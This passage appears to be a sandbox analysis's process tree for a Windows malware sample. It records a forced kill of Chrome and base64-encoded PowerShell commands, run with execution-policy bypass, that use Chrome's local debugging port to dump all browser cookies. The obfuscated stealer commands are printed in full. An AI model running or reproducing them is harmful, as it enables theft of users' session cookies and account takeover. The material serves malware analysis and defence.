ACwAIgBlAHIAcgBvAHIAIgA6ACIAcABvAHIAdAAgAG4AbwB0ACAAbwBwAGUAbgAiAH0AJwA7ACAAZQB4AGkAdAAgAH0ACgB0AHIAeQAgAHsACgAgACAAIAAgACQAcABhAGcAZQAgAD0AIAAkAHAAYQBnAGUAcwAgAHwAIABXAGgAZQByAGUALQBPAGIAagBlAGMAdAAgAHsAIAAkAF8ALgB0AHkAcABlACAALQBlAHEAIAAnAHAAYQBnAGUAJwAgAH0AIAB8ACAAUwBlAGwAZQBjAHQALQBPAGIAagBlAGMAdAAgAC0ARgBpAHIAcwB0ACAAMQAKACAAIAAgACAAaQBmACAAKAAkAHAAYQBnAGUAKQAgAHsAIAAkAHcAcwBfAHUAcgBsACAAPQAgACQAcABhAGcAZQAuAHcAZQBiAFMAbwBjAGsAZQB0AEQAZQBiAHUAZwBnAGUAcgBVAHIAbAAgAH0ACgAgACAAIAAgAGUAbABzAGUAIAB7AAoAIAAgACAAIAAgACAAIAAgACQAdgBlAHIAIAA9ACAASQBuAHYAbwBrAGUALQBSAGUAcwB0AE0AZQB0AGgAbwBkACAAIgBoAHQAdABwADoALwAvADEAMgA3AC4AMAAuADAALgAxADoAOQA5ADMAOQAvAGoAcwBvAG4ALwB2AGUAcgBzAGkAbwBuACIAIAAtAFQAaQBtAGUAbwB1AHQAUwBlAGMAIAA1AAoAIAAgACAAIAAgACAAIAAgACQAdwBzAF8AdQByAGwAIAA9ACAAJAB2AGUAcgAuAHcAZQBiAFMAbwBjAGsAZQB0AEQAZQBiAHUAZwBnAGUAcgBVAHIAbAAKACAAIAAgACAAfQAKACAAIAAgACAAaQBmACAAKAAtAG4AbwB0ACAAJAB3AHMAXwB1AHIAbAApACAAewAgAFcAcgBpAHQAZQAtAE8AdQB0AHAAdQB0ACAAJwB7ACIAcgBlAHMAdQBsAHQAIgA6AHsAIgBjAG8AbwBrAGkAZQBzACIAOgBbAF0AfQAsACIAZQByAHIAbwByACIAOgAiAG4AbwAgAHcAcwAgAHUAcgBsACIAfQAnADsAIABlAHgAaQB0ACAAfQAKAAoAIAAgACAAIAAkAHcAcwAgAD0AIABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBOAGUAdAAuAFcAZQBiAFMAbwBjAGsAZQB0AHMALgBDAGwAaQBlAG4AdABXAGUAYgBTAG8AYwBrAGUAdAAKACAAIAAgACAAJABjAHQAcwAgAD0AIABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBUAGgAcgBlAGEAZABpAG4AZwAuAEMAYQBuAGMAZQBsAGwAYQB0AGkAbwBuAFQAbwBrAGUAbgBTAG8AdQByAGMAZQAKACAAIAAgACAAJABjAHQAcwAuAEMAYQBuAGMAZQBsAEEAZgB0AGUAcgAoADEAMAAwADAAMAApAAoAIAAgACAAIAAkAHcAcwAuAEMAbwBuAG4AZQBjAHQAQQBzAHkAbgBjACgAWwBVAHIAaQBdACQAdwBzAF8AdQByAGwALAAgACQAYwB0AHMALgBUAG8AawBlAG4AKQAuAFcAYQBpAHQAKAApAAoACgAgACAAIAAgACMAIABGAHUAbgBjAHQAaQBvAG4AIAB0AG8AIAByAGUAYQBkACAAYQAgAHMAaQBuAGcAbABlACAAYwBvAG0AcABsAGUAdABlACAAVwBlAGIAUwBvAGMAawBlAHQAIAB0AGUAeAB0ACAAbQBlAHMAcwBhAGcAZQAKACAAIAAgACAAZgB1AG4AYwB0AGkAbwBuACAAUgBlAGEAZAAtAE0AZQBzAHMAYQBnAGUAKAAkAHcALAAgACQAYwApACAAewAKACAAIAAgACAAIAAgACAAIAAkAG0AcwAgAD0AIABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBJAE8ALgBNAGUAbQBvAHIAeQBTAHQAcgBlAGEAbQAKACAAIAAgACAAIAAgACAAIAAkAGIAdQBmACAAPQAgAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABiAHkAdABlAFsAXQAgADYANQA1ADMANgAKACAAIAAgACAAIAAgACAAIAAkAHMAZQBnACAAPQAgAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABTAHkAcwB0AGUAbQAuAEEAcgByAGEAeQBTAGUAZwBtAGUAbgB0AFsAYgB5AHQAZQBdACAALQBBAHIAZwB1AG0AZQBuAHQATABpAHMAdAAgACgALAAkAGIAdQBmACkACgAgACAAIAAgACAAIAAgACAAdwBoAGkAbABlACAAKAAkAHQAcgB1AGUAKQAgAHsACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAkAHIAZQBzACAAPQAgACQAdwAuAFIAZQBjAGUAaQB2AGUAQQBzAHkAbgBjACgAJABzAGUAZwAsACAAJABjAC4AVABvAGsAZQBuACkALgBSAGUAcwB1AGwAdAAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACQAbQBzAC4AVwByAGkAdABlACgAJABiAHUAZgAsACAAMAAsACAAJAByAGUAcwAuAEMAbwB1AG4AdAApAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAaQBmACAAKAAkAHIAZQBzAC4ARQBuAGQATwBmAE0AZQBzAHMAYQBnAGUAKQAgAHsAIABiAHIAZQBhAGsAIAB9AAoAIAAgACAAIAAgACAAIAAgAH0ACgAgACAAIAAgACAAIAAgACAAcgBlAHQAdQByAG4AIABbAFQAZQB4AHQALgBFAG4AYwBvAGQAaQBuAGcAXQA6ADoAVQBUAEYAOAAuAEcAZQB0AFMAdAByAGkAbgBnACgAJABtAHMALgBUAG8AQQByAHIAYQB5ACgAKQApAAoAIAAgACAAIAB9AAoACgAgACAAIAAgACMAIABFAG4AYQBiAGwAZQAgAE4AZQB0AHcAbwByAGsACgAgACAAIAAgACQAYwBtAGQAMQAgAD0AIAAnAHsAIgBpAGQAIgA6ADEALAAiAG0AZQB0AGgAbwBkACIAOgAiAE4AZQB0AHcAbwByAGsALgBlAG4AYQBiAGwAZQAiAH0AJwAKACAAIAAgACAAJABiAHkAdABlAHMAMQAgAD0AIABbAFQAZQB4AHQALgBFAG4AYwBvAGQAaQBuAGcAXQA6ADoAVQBUAEYAOAAuAEcAZQB0AEIAeQB0AGUAcwAoACQAYwBtAGQAMQApAAoAIAAgACAAIAAkAHMAZQBnADEAIAA9ACAATgBlAHcALQBPAGIAagBlAGMAdAAgAFMAeQBzAHQAZQBtAC4AQQByAHIAYQB5AFMAZQBnAG0AZQBuAHQAWwBiAHkAdABlAF0AIAAtAEEAcgBnAHUAbQBlAG4AdABMAGkAcwB0ACAAKAAsACQAYgB5AHQAZQBzADEAKQAKACAAIAAgACAAJAB3AHMALgBTAGUAbgBkAEEAcwB5AG4AYwAoACQAcwBlAGcAMQAsACAAWwBTAHkAcwB0AGUAbQAuAE4AZQB0AC4AVwBlAGIAUwBvAGMAawBlAHQAcwAuAFcAZQBiAFMAbwBjAGsAZQB0AE0AZQBzAHMAYQBnAGUAVAB5AHAAZQBdADoAOgBUAGUAeAB0ACwAIAAkAHQAcgB1AGUALAAgACQAYwB0AHMALgBUAG8AawBlAG4AKQAuAFcAYQBpAHQAKAApAAoACgAgACAAIAAgACMAIABSAGUAYQBkACAAdABoAGUAIAByAGUAcwBwAG8AbgBzAGUAIAB0AG8AIABOAGUAdAB3AG8AcgBrAC4AZQBuAGEAYgBsAGUAIABhAG4AZAAgAGQAaQBzAGMAYQByAGQAIABpAHQACgAgACAAIAAgACQAbgB1AGwAbAAgAD0AIABSAGUAYQBkAC0ATQBlAHMAcwBhAGcAZQAgACQAdwBzACAAJABjAHQAcwAKAAoAIAAgACAAIAAjACAARwBlAHQAIABhAGwAbAAgAGMAbwBvAGsAaQBlAHMACgAgACAAIAAgACQAYwBtAGQAMgAgAD0AIAAnAHsAIgBpAGQAIgA6ADIALAAiAG0AZQB0AGgAbwBkACIAOgAiAE4AZQB0AHcAbwByAGsALgBnAGUAdABBAGwAbABDAG8AbwBrAGkAZQBzACIAfQAnAAoAIAAgACAAIAAkAGIAeQB0AGUAcwAyACAAPQAgAFsAVABlAHgAdAAuAEUAbgBjAG8AZABpAG4AZwBdADoAOgBVAFQARgA4AC4ARwBlAHQAQgB5AHQAZQBzACgAJABjAG0AZAAyACkACgAgACAAIAAgACQAcwBlAGcAMgAgAD0AIABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBBAHIAcgBhAHkAUwBlAGcAbQBlAG4AdABbAGIAeQB0AGUAXQAgAC0AQQByAGcAdQBtAGUAbgB0AEwAaQBzAHQAIAAoACwAJABiAHkAdABlAHMAMgApAAoAIAAgACAAIAAkAHcAcwAuAFMAZQBuAGQAQQBzAHkAbgBjACgAJABzAGUAZwAyACwAIABbAFMAeQBzAHQAZQBtAC4ATgBlAHQALgBXAGUAYgBTAG8AYwBrAGUAdABzAC4AVwBlAGIAUwBvAGMAawBlAHQATQBlAHMAcwBhAGcAZQBUAHkAcABlAF0AOgA6AFQAZQB4AHQALAAgACQAdAByAHUAZQAsACAAJABjAHQAcwAuAFQAbwBrAGUAbgApAC4AVwBhAGkAdAAoACkACgAKACAAIAAgACAAIwAgAFIAZQBhAGQAIAB0AGgAZQAgAHIAZQBzAHAAbwBuAHMAZQAgAHQAbwAgAE4AZQB0AHcAbwByAGsALgBnAGUAdABBAGwAbABDAG8AbwBrAGkAZQBzAAoAIAAgACAAIAAkAGoAcwBvAG4AIAA9ACAAUgBlAGEAZAAtAE0AZQBzAHMAYQBnAGUAIAAkAHcAcwAgACQAYwB0AHMACgAgACAAIAAgAHQAcgB5ACAAewAgACQAdwBzAC4AQwBsAG8AcwBlAEEAcwB5AG4AYwAoAFsAUwB5AHMAdABlAG0ALgBOAGUAdAAuAFcAZQBiAFMAbwBjAGsAZQB0AHMALgBXAGUAYgBTAG8AYwBrAGUAdABDAGwAbwBzAGUAUwB0AGEAdAB1AHMAXQA6ADoATgBvAHIAbQBhAGwAQwBsAG8AcwB1AHIAZQAsACAAJwAnACwAIAAkAGMAdABzAC4AVABvAGsAZQBuACkALgBXAGEAaQB0ACgAKQAgAH0AIABjAGEAdABjAGgAIAB7AH0ACgAgACAAIAAgAFcAcgBpAHQAZQAtAE8AdQB0AHAAdQB0ACAAJABqAHMAbwBuAAoAfQAgAGMAYQB0AGMAaAAgAHsACgAgACAAIAAgAFcAcgBpAHQAZQAtAE8AdQB0AHAAdQB0ACAAKAAnAHsAIgByAGUAcwB1AGwAdAAiADoAewAiAGMAbwBvAGsAaQBlAHMAIgA6AFsAXQB9ACwAIgBlAHIAcgBvAHIAIgA6ACIAJwAgACsAIAAkAF8ALgBFAHgAYwBlAHAAdABpAG8AbgAuAE0AZQBzAHMAYQBnAGUAIAArACAAJwAiAH0AJwApAAoAfQA=
                                                                                                                                                                          3⤵
                                                                                                                                                                            PID:4264
                                                                                                                                                                        • C:\Windows\system32\cmd.exe
                                                                                                                                                                          C:\Windows\system32\cmd.exe /d /s /c "taskkill /F /IM chrome.exe 2>nul"
                                                                                                                                                                          2⤵
                                                                                                                                                                            PID:968
                                                                                                                                                                            • C:\Windows\System32\taskkill.exe
                                                                                                                                                                              taskkill /F /IM chrome.exe
                                                                                                                                                                              3⤵
                                                                                                                                                                              • Kills process with taskkill
                                                                                                                                                                              PID:2552
                                                                                                                                                                          • C:\Windows\system32\cmd.exe
                                                                                                                                                                            C:\Windows\system32\cmd.exe /d /s /c "powershell.exe -NoP -NonI -Exec Bypass -Enc JABQAHIAbwBnAHIAZQBzAHMAUAByAGUAZgBlAHIAZQBuAGMAZQAgAD0AIAAnAFMAaQBsAGUAbgB0AGwAeQBDAG8AbgB0AGkAbgB1AGUAJwA7AAoAJABFAHIAcgBvAHIAQQBjAHQAaQBvAG4AUAByAGUAZgBlAHIAZQBuAGMAZQAgAD0AIAAnAFMAaQBsAGUAbgB0AGwAeQBDAG8AbgB0AGkAbgB1AGUAJwA7AAoACgAkAEUAcgByAG8AcgBBAGMAdABpAG8AbgBQAHIAZQBmAGUAcgBlAG4AYwBlACAAPQAgACcAUwBpAGwAZQBuAHQAbAB5AEMAbwBuAHQAaQBuAHUAZQAnAAoAJABjAG8AbgBuAGUAYwB0AGUAZAAgAD0AIAAkAGYAYQBsAHMAZQAKAGYAbwByACAAKAAkAGkAIAA9ACAAMAA7ACAAJABpACAALQBsAHQAIAAxADUAOwAgACQAaQArACsAKQAgAHsACgAgACAAIAAgAHQAcgB5ACAAewAKACAAIAAgACAAIAAgACAAIAAkAHAAYQBnAGUAcwAgAD0AIABJAG4AdgBvAGsAZQAtAFIAZQBzAHQATQBlAHQAaABvAGQAIAAiAGgAdAB0AHAAOgAvAC8AMQAyADcALgAwAC4AMAAuADEAOgA5ADgAMgAzAC8AagBzAG8AbgAiACAALQBUAGkAbQBlAG8AdQB0AFMAZQBjACAAMQAKACAAIAAgACAAIAAgACAAIABpAGYAIAAoACQAcABhAGcAZQBzACkAIAB7ACAAJABjAG8AbgBuAGUAYwB0AGUAZAAgAD0AIAAkAHQAcgB1AGUAOwAgAGIAcgBlAGEAawAgAH0ACgAgACAAIAAgAH0AIABjAGEAdABjAGgAIAB7ACAAUwB0AGEAcgB0AC0AUwBsAGUAZQBwACAALQBNAGkAbABsAGkAcwBlAGMAbwBuAGQAcwAgADEAMAAwACAAfQAKAH0ACgBpAGYAIAAoAC0AbgBvAHQAIAAkAGMAbwBuAG4AZQBjAHQAZQBkACkAIAB7ACAAVwByAGkAdABlAC0ATwB1AHQAcAB1AHQAIAAnAHsAIgByAGUAcwB1AGwAdAAiADoAewAiAGMAbwBvAGsAaQBlAHMAIgA6AFsAXQB9ACwAIgBlAHIAcgBvAHIAIgA6ACIAcABvAHIAdAAgAG4AbwB0ACAAbwBwAGUAbgAiAH0AJwA7ACAAZQB4AGkAdAAgAH0ACgB0AHIAeQAgAHsACgAgACAAIAAgACQAcABhAGcAZQAgAD0AIAAkAHAAYQBnAGUAcwAgAHwAIABXAGgAZQByAGUALQBPAGIAagBlAGMAdAAgAHsAIAAkAF8ALgB0AHkAcABlACAALQBlAHEAIAAnAHAAYQBnAGUAJwAgAH0AIAB8ACAAUwBlAGwAZQBjAHQALQBPAGIAagBlAGMAdAAgAC0ARgBpAHIAcwB0ACAAMQAKACAAIAAgACAAaQBmACAAKAAkAHAAYQBnAGUAKQAgAHsAIAAkAHcAcwBfAHUAcgBsACAAPQAgACQAcABhAGcAZQAuAHcAZQBiAFMAbwBjAGsAZQB0AEQAZQBiAHUAZwBnAGUAcgBVAHIAbAAgAH0ACgAgACAAIAAgAGUAbABzAGUAIAB7AAoAIAAgACAAIAAgACAAIAAgACQAdgBlAHIAIAA9ACAASQBuAHYAbwBrAGUALQBSAGUAcwB0AE0AZQB0AGgAbwBkACAAIgBoAHQAdABwADoALwAvADEAMgA3AC4AMAAuADAALgAxADoAOQA4ADIAMwAvAGoAcwBvAG4ALwB2AGUAcgBzAGkAbwBuACIAIAAtAFQAaQBtAGUAbwB1AHQAUwBlAGMAIAA1AAoAIAAgACAAIAAgACAAIAAgACQAdwBzAF8AdQByAGwAIAA9ACAAJAB2AGUAcgAuAHcAZQBiAFMAbwBjAGsAZQB0AEQAZQBiAHUAZwBnAGUAcgBVAHIAbAAKACAAIAAgACAAfQAKACAAIAAgACAAaQBmACAAKAAtAG4AbwB0ACAAJAB3AHMAXwB1AHIAbAApACAAewAgAFcAcgBpAHQAZQAtAE8AdQB0AHAAdQB0ACAAJwB7ACIAcgBlAHMAdQBsAHQAIgA6AHsAIgBjAG8AbwBrAGkAZQBzACIAOgBbAF0AfQAsACIAZQByAHIAbwByACIAOgAiAG4AbwAgAHcAcwAgAHUAcgBsACIAfQAnADsAIABlAHgAaQB0ACAAfQAKAAoAIAAgACAAIAAkAHcAcwAgAD0AIABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBOAGUAdAAuAFcAZQBiAFMAbwBjAGsAZQB0AHMALgBDAGwAaQBlAG4AdABXAGUAYgBTAG8AYwBrAGUAdAAKACAAIAAgACAAJABjAHQAcwAgAD0AIABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBUAGgAcgBlAGEAZABpAG4AZwAuAEMAYQBuAGMAZQBsAGwAYQB0AGkAbwBuAFQAbwBrAGUAbgBTAG8AdQByAGMAZQAKACAAIAAgACAAJABjAHQAcwAuAEMAYQBuAGMAZQBsAEEAZgB0AGUAcgAoADEAMAAwADAAMAApAAoAIAAgACAAIAAkAHcAcwAuAEMAbwBuAG4AZQBjAHQAQQBzAHkAbgBjACgAWwBVAHIAaQBdACQAdwBzAF8AdQByAGwALAAgACQAYwB0AHMALgBUAG8AawBlAG4AKQAuAFcAYQBpAHQAKAApAAoACgAgACAAIAAgACMAIABGAHUAbgBjAHQAaQBvAG4AIAB0AG8AIAByAGUAYQBkACAAYQAgAHMAaQBuAGcAbABlACAAYwBvAG0AcABsAGUAdABlACAAVwBlAGIAUwBvAGMAawBlAHQAIAB0AGUAeAB0ACAAbQBlAHMAcwBhAGcAZQAKACAAIAAgACAAZgB1AG4AYwB0AGkAbwBuACAAUgBlAGEAZAAtAE0AZQBzAHMAYQBnAGUAKAAkAHcALAAgACQAYwApACAAewAKACAAIAAgACAAIAAgACAAIAAkAG0AcwAgAD0AIABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBJAE8ALgBNAGUAbQBvAHIAeQBTAHQAcgBlAGEAbQAKACAAIAAgACAAIAAgACAAIAAkAGIAdQBmACAAPQAgAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABiAHkAdABlAFsAXQAgADYANQA1ADMANgAKACAAIAAgACAAIAAgACAAIAAkAHMAZQBnACAAPQAgAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABTAHkAcwB0AGUAbQAuAEEAcgByAGEAeQBTAGUAZwBtAGUAbgB0AFsAYgB5AHQAZQBdACAALQBBAHIAZwB1AG0AZQBuAHQATABpAHMAdAAgACgALAAkAGIAdQBmACkACgAgACAAIAAgACAAIAAgACAAdwBoAGkAbABlACAAKAAkAHQAcgB1AGUAKQAgAHsACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAkAHIAZQBzACAAPQAgACQAdwAuAFIAZQBjAGUAaQB2AGUAQQBzAHkAbgBjACgAJABzAGUAZwAsACAAJABjAC4AVABvAGsAZQBuACkALgBSAGUAcwB1AGwAdAAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACQAbQBzAC4AVwByAGkAdABlACgAJABiAHUAZgAsACAAMAAsACAAJAByAGUAcwAuAEMAbwB1AG4AdAApAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAaQBmACAAKAAkAHIAZQBzAC4ARQBuAGQATwBmAE0AZQBzAHMAYQBnAGUAKQAgAHsAIABiAHIAZQBhAGsAIAB9AAoAIAAgACAAIAAgACAAIAAgAH0ACgAgACAAIAAgACAAIAAgACAAcgBlAHQAdQByAG4AIABbAFQAZQB4AHQALgBFAG4AYwBvAGQAaQBuAGcAXQA6ADoAVQBUAEYAOAAuAEcAZQB0AFMAdAByAGkAbgBnACgAJABtAHMALgBUAG8AQQByAHIAYQB5ACgAKQApAAoAIAAgACAAIAB9AAoACgAgACAAIAAgACMAIABFAG4AYQBiAGwAZQAgAE4AZQB0AHcAbwByAGsACgAgACAAIAAgACQAYwBtAGQAMQAgAD0AIAAnAHsAIgBpAGQAIgA6ADEALAAiAG0AZQB0AGgAbwBkACIAOgAiAE4AZQB0AHcAbwByAGsALgBlAG4AYQBiAGwAZQAiAH0AJwAKACAAIAAgACAAJABiAHkAdABlAHMAMQAgAD0AIABbAFQAZQB4AHQALgBFAG4AYwBvAGQAaQBuAGcAXQA6ADoAVQBUAEYAOAAuAEcAZQB0AEIAeQB0AGUAcwAoACQAYwBtAGQAMQApAAoAIAAgACAAIAAkAHMAZQBnADEAIAA9ACAATgBlAHcALQBPAGIAagBlAGMAdAAgAFMAeQBzAHQAZQBtAC4AQQByAHIAYQB5AFMAZQBnAG0AZQBuAHQAWwBiAHkAdABlAF0AIAAtAEEAcgBnAHUAbQBlAG4AdABMAGkAcwB0ACAAKAAsACQAYgB5AHQAZQBzADEAKQAKACAAIAAgACAAJAB3AHMALgBTAGUAbgBkAEEAcwB5AG4AYwAoACQAcwBlAGcAMQAsACAAWwBTAHkAcwB0AGUAbQAuAE4AZQB0AC4AVwBlAGIAUwBvAGMAawBlAHQAcwAuAFcAZQBiAFMAbwBjAGsAZQB0AE0AZQBzAHMAYQBnAGUAVAB5AHAAZQBdADoAOgBUAGUAeAB0ACwAIAAkAHQAcgB1AGUALAAgACQAYwB0AHMALgBUAG8AawBlAG4AKQAuAFcAYQBpAHQAKAApAAoACgAgACAAIAAgACMAIABSAGUAYQBkACAAdABoAGUAIAByAGUAcwBwAG8AbgBzAGUAIAB0AG8AIABOAGUAdAB3AG8AcgBrAC4AZQBuAGEAYgBsAGUAIABhAG4AZAAgAGQAaQBzAGMAYQByAGQAIABpAHQACgAgACAAIAAgACQAbgB1AGwAbAAgAD0AIABSAGUAYQBkAC0ATQBlAHMAcwBhAGcAZQAgACQAdwBzACAAJABjAHQAcwAKAAoAIAAgACAAIAAjACAARwBlAHQAIABhAGwAbAAgAGMAbwBvAGsAaQBlAHMACgAgACAAIAAgACQAYwBtAGQAMgAgAD0AIAAnAHsAIgBpAGQAIgA6ADIALAAiAG0AZQB0AGgAbwBkACIAOgAiAE4AZQB0AHcAbwByAGsALgBnAGUAdABBAGwAbABDAG8AbwBrAGkAZQBzACIAfQAnAAoAIAAgACAAIAAkAGIAeQB0AGUAcwAyACAAPQAgAFsAVABlAHgAdAAuAEUAbgBjAG8AZABpAG4AZwBdADoAOgBVAFQARgA4AC4ARwBlAHQAQgB5AHQAZQBzACgAJABjAG0AZAAyACkACgAgACAAIAAgACQAcwBlAGcAMgAgAD0AIABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBBAHIAcgBhAHkAUwBlAGcAbQBlAG4AdABbAGIAeQB0AGUAXQAgAC0AQQByAGcAdQBtAGUAbgB0AEwAaQBzAHQAIAAoACwAJABiAHkAdABlAHMAMgApAAoAIAAgACAAIAAkAHcAcwAuAFMAZQBuAGQAQQBzAHkAbgBjACgAJABzAGUAZwAyACwAIABbAFMAeQBzAHQAZQBtAC4ATgBlAHQALgBXAGUAYgBTAG8AYwBrAGUAdABzAC4AVwBlAGIAUwBvAGMAawBlAHQATQBlAHMAcwBhAGcAZQBUAHkAcABlAF0AOgA6AFQAZQB4AHQALAAgACQAdAByAHUAZQAsACAAJABjAHQAcwAuAFQAbwBrAGUAbgApAC4AVwBhAGkAdAAoACkACgAKACAAIAAgACAAIwAgAFIAZQBhAGQAIAB0AGgAZQAgAHIAZQBzAHAAbwBuAHMAZQAgAHQAbwAgAE4AZQB0AHcAbwByAGsALgBnAGUAdABBAGwAbABDAG8AbwBrAGkAZQBzAAoAIAAgACAAIAAkAGoAcwBvAG4AIAA9ACAAUgBlAGEAZAAtAE0AZQBzAHMAYQBnAGUAIAAkAHcAcwAgACQAYwB0AHMACgAgACAAIAAgAHQAcgB5ACAAewAgACQAdwBzAC4AQwBsAG8AcwBlAEEAcwB5AG4AYwAoAFsAUwB5AHMAdABlAG0ALgBOAGUAdAAuAFcAZQBiAFMAbwBjAGsAZQB0AHMALgBXAGUAYgBTAG8AYwBrAGUAdABDAGwAbwBzAGUAUwB0AGEAdAB1AHMAXQA6ADoATgBvAHIAbQBhAGwAQwBsAG8AcwB1AHIAZQAsACAAJwAnACwAIAAkAGMAdABzAC4AVABvAGsAZQBuACkALgBXAGEAaQB0ACgAKQAgAH0AIABjAGEAdABjAGgAIAB7AH0ACgAgACAAIAAgAFcAcgBpAHQAZQAtAE8AdQB0AHAAdQB0ACAAJABqAHMAbwBuAAoAfQAgAGMAYQB0AGMAaAAgAHsACgAgACAAIAAgAFcAcgBpAHQAZQAtAE8AdQB0AHAAdQB0ACAAKAAnAHsAIgByAGUAcwB1AGwAdAAiADoAewAiAGMAbwBvAGsAaQBlAHMAIgA6AFsAXQB9ACwAIgBlAHIAcgBvAHIAIgA6ACIAJwAgACsAIAAkAF8ALgBFAHgAYwBlAHAAdABpAG8AbgAuAE0AZQBzAHMAYQBnAGUAIAArACAAJwAiAH0AJwApAAoAfQA="
                                                                                                                                                                            2⤵
                                                                                                                                                                              PID:6400
                                                                                                                                                                              • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                                                                                powershell.exe -NoP -NonI -Exec Bypass -Enc JABQAHIAbwBnAHIAZQBzAHMAUAByAGUAZgBlAHIAZQBuAGMAZQAgAD0AIAAnAFMAaQBsAGUAbgB0AGwAeQBDAG8AbgB0AGkAbgB1AGUAJwA7AAoAJABFAHIAcgBvAHIAQQBjAHQAaQBvAG4AUAByAGUAZgBlAHIAZQBuAGMAZQAgAD0AIAAnAFMAaQBsAGUAbgB0AGwAeQBDAG8AbgB0AGkAbgB1AGUAJwA7AAoACgAkAEUAcgByAG8AcgBBAGMAdABpAG8AbgBQAHIAZQBmAGUAcgBlAG4AYwBlACAAPQAgACcAUwBpAGwAZQBuAHQAbAB5AEMAbwBuAHQAaQBuAHUAZQAnAAoAJABjAG8AbgBuAGUAYwB0AGUAZAAgAD0AIAAkAGYAYQBsAHMAZQAKAGYAbwByACAAKAAkAGkAIAA9ACAAMAA7ACAAJABpACAALQBsAHQAIAAxADUAOwAgACQAaQArACsAKQAgAHsACgAgACAAIAAgAHQAcgB5ACAAewAKACAAIAAgACAAIAAgACAAIAAkAHAAYQBnAGUAcwAgAD0AIABJAG4AdgBvAGsAZQAtAFIAZQBzAHQATQBlAHQAaABvAGQAIAAiAGgAdAB0AHAAOgAvAC8AMQAyADcALgAwAC4AMAAuADEAOgA5ADgAMgAzAC8AagBzAG8AbgAiACAALQBUAGkAbQBlAG8AdQB0AFMAZQBjACAAMQAKACAAIAAgACAAIAAgACAAIABpAGYAIAAoACQAcABhAGcAZQBzACkAIAB7ACAAJABjAG8AbgBuAGUAYwB0AGUAZAAgAD0AIAAkAHQAcgB1AGUAOwAgAGIAcgBlAGEAawAgAH0ACgAgACAAIAAgAH0AIABjAGEAdABjAGgAIAB7ACAAUwB0AGEAcgB0AC0AUwBsAGUAZQBwACAALQBNAGkAbABsAGkAcwBlAGMAbwBuAGQAcwAgADEAMAAwACAAfQAKAH0ACgBpAGYAIAAoAC0AbgBvAHQAIAAkAGMAbwBuAG4AZQBjAHQAZQBkACkAIAB7ACAAVwByAGkAdABlAC0ATwB1AHQAcAB1AHQAIAAnAHsAIgByAGUAcwB1AGwAdAAiADoAewAiAGMAbwBvAGsAaQBlAHMAIgA6AFsAXQB9ACwAIgBlAHIAcgBvAHIAIgA6ACIAcABvAHIAdAAgAG4AbwB0ACAAbwBwAGUAbgAiAH0AJwA7ACAAZQB4AGkAdAAgAH0ACgB0AHIAeQAgAHsACgAgACAAIAAgACQAcABhAGcAZQAgAD0AIAAkAHAAYQBnAGUAcwAgAHwAIABXAGgAZQByAGUALQBPAGIAagBlAGMAdAAgAHsAIAAkAF8ALgB0AHkAcABlACAALQBlAHEAIAAnAHAAYQBnAGUAJwAgAH0AIAB8ACAAUwBlAGwAZQBjAHQALQBPAGIAagBlAGMAdAAgAC0ARgBpAHIAcwB0ACAAMQAKACAAIAAgACAAaQBmACAAKAAkAHAAYQBnAGUAKQAgAHsAIAAkAHcAcwBfAHUAcgBsACAAPQAgACQAcABhAGcAZQAuAHcAZQBiAFMAbwBjAGsAZQB0AEQAZQBiAHUAZwBnAGUAcgBVAHIAbAAgAH0ACgAgACAAIAAgAGUAbABzAGUAIAB7AAoAIAAgACAAIAAgACAAIAAgACQAdgBlAHIAIAA9ACAASQBuAHYAbwBrAGUALQBSAGUAcwB0AE0AZQB0AGgAbwBkACAAIgBoAHQAdABwADoALwAvADEAMgA3AC4AMAAuADAALgAxADoAOQA4ADIAMwAvAGoAcwBvAG4ALwB2AGUAcgBzAGkAbwBuACIAIAAtAFQAaQBtAGUAbwB1AHQAUwBlAGMAIAA1AAoAIAAgACAAIAAgACAAIAAgACQAdwBzAF8AdQByAGwAIAA9ACAAJAB2AGUAcgAuAHcAZQBiAFMAbwBjAGsAZQB0AEQAZQBiAHUAZwBnAGUAcgBVAHIAbAAKACAAIAAgACAAfQAKACAAIAAgACAAaQBmACAAKAAtAG4AbwB0ACAAJAB3AHMAXwB1AHIAbAApACAAewAgAFcAcgBpAHQAZQAtAE8AdQB0AHAAdQB0ACAAJwB7ACIAcgBlAHMAdQBsAHQAIgA6AHsAIgBjAG8AbwBrAGkAZQBzACIAOgBbAF0AfQAsACIAZQByAHIAbwByACIAOgAiAG4AbwAgAHcAcwAgAHUAcgBsACIAfQAnADsAIABlAHgAaQB0ACAAfQAKAAoAIAAgACAAIAAkAHcAcwAgAD0AIABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBOAGUAdAAuAFcAZQBiAFMAbwBjAGsAZQB0AHMALgBDAGwAaQBlAG4AdABXAGUAYgBTAG8AYwBrAGUAdAAKACAAIAAgACAAJABjAHQAcwAgAD0AIABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBUAGgAcgBlAGEAZABpAG4AZwAuAEMAYQBuAGMAZQBsAGwAYQB0AGkAbwBuAFQAbwBrAGUAbgBTAG8AdQByAGMAZQAKACAAIAAgACAAJABjAHQAcwAuAEMAYQBuAGMAZQBsAEEAZgB0AGUAcgAoADEAMAAwADAAMAApAAoAIAAgACAAIAAkAHcAcwAuAEMAbwBuAG4AZQBjAHQAQQBzAHkAbgBjACgAWwBVAHIAaQBdACQAdwBz